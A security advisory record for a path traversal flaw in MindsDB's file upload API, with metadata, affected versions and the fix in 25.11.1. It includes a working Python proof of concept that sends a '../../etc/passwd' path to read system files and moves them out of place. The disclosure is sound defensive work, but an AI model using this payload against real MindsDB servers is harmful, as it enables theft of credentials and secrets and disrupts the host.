GHSA-qqhf-pm3j-96g7

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Source
https://github.com/advisories/GHSA-qqhf-pm3j-96g7
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/01/GHSA-qqhf-pm3j-96g7/GHSA-qqhf-pm3j-96g7.json
JSON Data
https://api.osv.dev/v1/vulns/GHSA-qqhf-pm3j-96g7
Aliases
Published
2026-01-12T16:10:55Z
Modified
2026-02-03T02:58:04.398118Z
Severity
  • 8.1 (High) CVSS_V3 - CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H CVSS Calculator
Summary
MindsDB has improper sanitation of filepath that leads to information disclosure and DOS
Details

Summary

BlueRock discovered an unauthenticated path traversal in the file upload API lets any caller read arbitrary files from the server filesystem and move them into MindsDB’s storage, exposing sensitive data. Severity: High.

Details

The PUT handler in file.py directly joins user-controlled data into a filesystem path when the request body is JSON and source_type is not "url":

  • data = request.json (line ~104) accepts attacker input without validation.
  • file_path = os.path.join(temp_dir_path, data["file"]) (line ~178) creates the path inside a temporary directory, but if data["file"] is absolute (e.g., /home/secret.csv), os.path.join ignores temp_dir_path and targets the attacker-specified location.
  • The resulting path is handed to ca.file_controller.save_file(...), which wraps FileReader(path=source_path) (mindsdb/interfaces/file/file_controller.py:66), causing the application to read the contents of that arbitrary file. The subsequent shutil.move(file_path, ...) call also relocates the victim file into MindsDB’s managed storage.

Only multipart uploads and URL-sourced uploads receive sanitization; JSON uploads lack any call to clear_filename or equivalent checks.

PoC

  1. Run MindsDB in Docker: 
    docker pull mindsdb/mindsdb:latest
docker run --rm -it -p 47334:47334 --name mindsdb-poc mindsdb/mindsdb:latest
  2. Execute the exploit from the host (save as poc.py and run with python poc.py): 
    # poc.py
import requests, json

base = "http://127.0.0.1:47334"
payload = {"file": "../../../../../etc/passwd"}  # no source_type -> hits vulnerable branch

r = requests.put(f"{base}/api/files/leak_rel", json=payload, timeout=10)
print("PUT status:", r.status_code, r.text)

q = requests.post(
    f"{base}/api/sql/query",
    json={"query": "SELECT * FROM files.leak_rel"},
    timeout=10,
)
print("SQL response:", json.dumps(q.json(), indent=2))
  3. The SQL response returns the contents of /etc/passwd . The original file disappears from its source location because the handler moves it into MindsDB’s storage directory.

Impact

  • Any user able to reach the REST API can read and exfiltrate arbitrary files that the MindsDB process can access, potentially including credentials, configuration secrets, and private keys.
Database specific 
{
    "nvd_published_at": "2026-01-12T17:15:52Z",
    "cwe_ids": [
        "CWE-22",
        "CWE-23",
        "CWE-36"
    ],
    "severity": "HIGH",
    "github_reviewed": true,
    "github_reviewed_at": "2026-01-12T16:10:55Z"
}
References

Affected packages

PyPI / mindsdb

Package

Name
mindsdb
View open source insights on deps.dev
Purl
pkg:pypi/mindsdb

Affected ranges

Type
ECOSYSTEM
Events
Introduced
0Unknown introduced version / All previous versions are affected
Fixed
25.11.1

Affected versions

0.*
0.6.5
0.6.6
0.6.7
0.6.8
0.6.9
0.7.0
0.7.1
0.7.2
0.7.3
0.7.4
0.7.5
0.7.6
0.7.7
0.7.8
0.7.9
0.8.0
0.8.1
0.8.2
0.8.3
0.8.4
0.8.5
0.8.6
0.8.7
0.8.8
0.8.9
0.8.9.1
0.8.9.2
0.8.9.3
0.8.9.4
0.8.9.5
0.8.9.6
0.8.9.7
0.8.9.8
0.9.0.0
0.9.0.1
0.9.1.0
0.9.2.0
1.*
1.0
1.0.1
1.0.2
1.0.3
1.0.4
1.0.5
1.0.6
1.0.7
1.0.8
1.0.9
1.1.0
1.1.2
1.1.3
1.1.7
1.1.9
1.2.0
1.2.1
1.2.2
1.2.3
1.2.4
1.2.5
1.2.6
1.2.8
1.2.9
1.3.1
1.3.2
1.3.3
1.3.4
1.3.5
1.3.6
1.3.7
1.4.0
1.4.1
1.4.2
1.4.3
1.4.4
1.4.5
1.4.6
1.4.7
1.4.9
1.4.10
1.5.0
1.5.1
1.5.2
1.5.4
1.6.0
1.6.3
1.6.4
1.6.5
1.6.6
1.6.7
1.6.8
1.6.12
1.6.13
1.6.15
1.6.17
1.6.18
1.7.0
1.7.1
1.7.2
1.7.3
1.7.5
1.7.6
1.7.7
1.7.8
1.7.9
1.7.10
1.7.11
1.7.12
1.7.13
1.7.14
1.7.15
1.7.16
1.7.17
1.7.18
1.7.19
1.7.20
1.7.21
1.7.22
1.7.23
1.8.0
1.8.2
1.9.0
1.9.1
1.9.2
1.9.3
1.9.5
1.9.6
1.10.0
1.10.2
1.10.3
1.11.0
1.11.2
1.11.3
1.11.4
1.11.5
1.11.8
1.12.0
1.12.1
1.12.2
1.12.3
1.12.4
1.12.5
1.12.7
1.12.8
1.12.9
1.13.0
1.13.2
1.13.3
1.13.4
1.13.5
1.13.6
1.13.7
1.13.8
1.13.9
1.13.10
1.13.11
1.13.12
1.13.15
1.14.0
1.14.1
1.14.2
1.14.3
1.14.4
1.15.1
1.15.2
1.15.6
1.16.0
1.16.1
1.16.2
1.17.0
1.17.1
1.17.2
1.17.3
1.17.4
1.17.6
1.17.8
1.17.9
1.18.0
1.18.1
1.18.2
1.18.3
1.18.5
1.18.6
1.18.7
1.19.0
1.19.1
1.20.0
1.20.1
1.21.0
1.22.0
1.23.0
1.24.0
1.24.1
1.24.2
1.25.0
1.25.1
1.25.2
1.26.0
1.26.1
1.26.2
1.26.3
1.26.4
1.26.5
1.27.0
1.27.1
1.99.0
1.99.1
1.99.3
1.99.4
1.99.5
1.99.6
1.99.7
1.99.8
1.99.9
1.99.10
1.99.11
2.*
2.0.0
2.1.0
2.1.2
2.2.0
2.2.1
2.3.0
2.4.0
2.5.0
2.6.0
2.6.1
2.7.0
2.7.1
2.7.2
2.8.0
2.8.1
2.8.3
2.9.0
2.9.1
2.10.0
2.10.1
2.10.2
2.11.0
2.11.1
2.11.2
2.11.4
2.12.0
2.13.0
2.13.1
2.13.2
2.13.3
2.13.4
2.13.5
2.13.6
2.13.7
2.13.8
2.14.0
2.15.0
2.17.1
2.18.0
2.19.0
2.19.1
2.19.2
2.19.4
2.19.5
2.20.0
2.20.1
2.20.2
2.21.0
2.21.1
2.21.2
2.21.3
2.22.0
2.22.1
2.22.2
2.23.0
2.24.0
2.24.1
2.25.0
2.25.1
2.25.2
2.25.3
2.26.0
2.27.0
2.28.0
2.30.0
2.30.1
2.31.0
2.32.0
2.33.0
2.34.0
2.35.0
2.36.0
2.37.0
2.38.0
2.39.0
2.40.0
2.41.1
2.41.2
2.42.0
2.42.1
2.42.2
2.43.0
2.44.0
2.45.0
2.45.1
2.45.2
2.50.0
2.51.0
2.51.1
2.51.2
2.52.0
2.53.0
2.54.0
2.55.0
2.55.1
2.55.2
2.56.0
2.57.0
2.58.0
2.58.1
2.58.2
2.58.3
2.59.0
2.60.0
2.60.1
2.61.0
2.62.0
2.62.1
2.62.2
2.62.3
2.62.4
22.*
22.1.4.0
22.1.4.1
22.2.1.0
22.2.1.2
22.2.2.0
22.2.2.1
22.2.4.0
22.2.4.1
22.3.1.0
22.3.3.0
22.3.4.0
22.3.4.1
22.3.4.2
22.3.4.3
22.3.5.0
22.4.2.0
22.4.2.1
22.4.2.2
22.4.3.0
22.4.5.0
22.5.1.0
22.5.1.1
22.5.1.2
22.5.2.0
22.5.4.0
22.6.1.0
22.6.1.1
22.6.1.2
22.6.2.0
22.6.2.1
22.6.2.2
22.7.3.0
22.7.3.1
22.7.3.2
22.7.3.3
22.7.3.4
22.7.4.0
22.7.4.1
22.7.5.0
22.7.5.1
22.8.2.0
22.8.2.1
22.8.3.0
22.8.3.1
22.8.4.0
22.8.4.1
22.8.5.0
22.9.3.0
22.9.3.1
22.9.4.0
22.9.5.1
22.9.5.2
22.9.5.3
22.9.5.4
22.10.2.0
22.10.2.1
22.11.3.0
22.11.3.2
22.11.4.0
22.11.4.1
22.11.4.2
22.11.4.3
22.12.4.0
22.12.4.2
22.12.4.3
23.*
23.1.3.0
23.1.3.1
23.1.3.2
23.1.5.0
23.2.1.0
23.2.2.1
23.2.3.0
23.2.3.1
23.2.4.0
23.2.4.1
23.2.4.2
23.2.4.3
23.3.2.0
23.3.3.0
23.3.3.1
23.3.3.2
23.3.3.3
23.3.3.4
23.3.3.5
23.3.4.0
23.3.5.0
23.4.3.0
23.4.3.1
23.4.3.2
23.4.4.0
23.4.4.1
23.4.4.2
23.4.4.3
23.4.4.4
23.5.3.1
23.5.3.2
23.5.4.1
23.6.1.1
23.6.2.0
23.6.3.0
23.6.3.1
23.6.4.0
23.6.5.0
23.6.5.1
23.7.1.0
23.7.2.0
23.7.3.1
23.7.4.0
23.7.4.1
23.8.1.0
23.8.3.0
23.9.1.0
23.9.1.1
23.9.2.0
23.9.2.1
23.9.3.0
23.9.3.1
23.10.2.0
23.10.3.0
23.10.3.1
23.10.5.0
23.11.1.0
23.11.4.0
23.11.4.1
23.11.4.4a6
23.12.4.0
23.12.4.1
23.12.4.2
24.*
24.1.4.0
24.2.3.0
24.3.4.0
24.3.4.1
24.3.4.2
24.3.5.0
24.4.2.0
24.4.2.1
24.4.3.0
24.5.4.0
24.6.1.0
24.6.1.1
24.6.2.0
24.6.2.2
24.6.3.0
24.6.3.1
24.6.4.1
24.7.1.0
24.7.2.0
24.7.3.0
24.7.4.0
24.7.4.1
24.7.5.0
24.8.1.0
24.8.1.1
24.8.2.0
24.8.3.0
24.8.4.0
24.9.1.0
24.9.2.0
24.9.2.1
24.9.3.0
24.9.3.1
24.9.3.2
24.9.4.0
24.9.4.1
24.10.1.0
24.10.2.0
24.10.3.0
24.10.4.0
24.10.4.1
24.10.4.2
24.10.5.0
24.11.1.0
24.11.1.1
24.11.2.0
24.11.3.0
24.11.4.0
24.11.4.1
24.11.4.2
24.12.1.0
24.12.2.0
24.12.2.1
24.12.2.2
24.12.3.0
24.12.4.0
25.*
25.1.2.0
25.1.2.1
25.1.3.0
25.1.4.0
25.1.5.0
25.1.5.1
25.1.5.2
25.1.5.3
25.2.1.0
25.2.1.2
25.2.2.0
25.2.2.2
25.2.3.0
25.2.4.0
25.3.1.0
25.3.2.0
25.3.3.0
25.3.4.0
25.3.4.1
25.3.4.2
25.4.1.0
25.4.2.0
25.4.2.1
25.4.3.0
25.4.3.1
25.4.3.2
25.4.4.0
25.4.5.0
25.5.3.0
25.5.4.0
25.5.4.1
25.5.4.2
25.6.2.0
25.6.3.0
25.6.3.1
25.6.4.0
25.7.1.0
25.7.2.0
25.7.3.0
25.7.4.0
25.8.2.0
25.8.3.0
25.9.1.0
25.9.1.1
25.9.1.2
25.9.2.0a1
25.9.3rc1
25.10.0rc1
25.10.0
25.10.1
25.11.0rc1
25.11.0rc2
25.11.0

Database specific

source 
"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/01/GHSA-qqhf-pm3j-96g7/GHSA-qqhf-pm3j-96g7.json"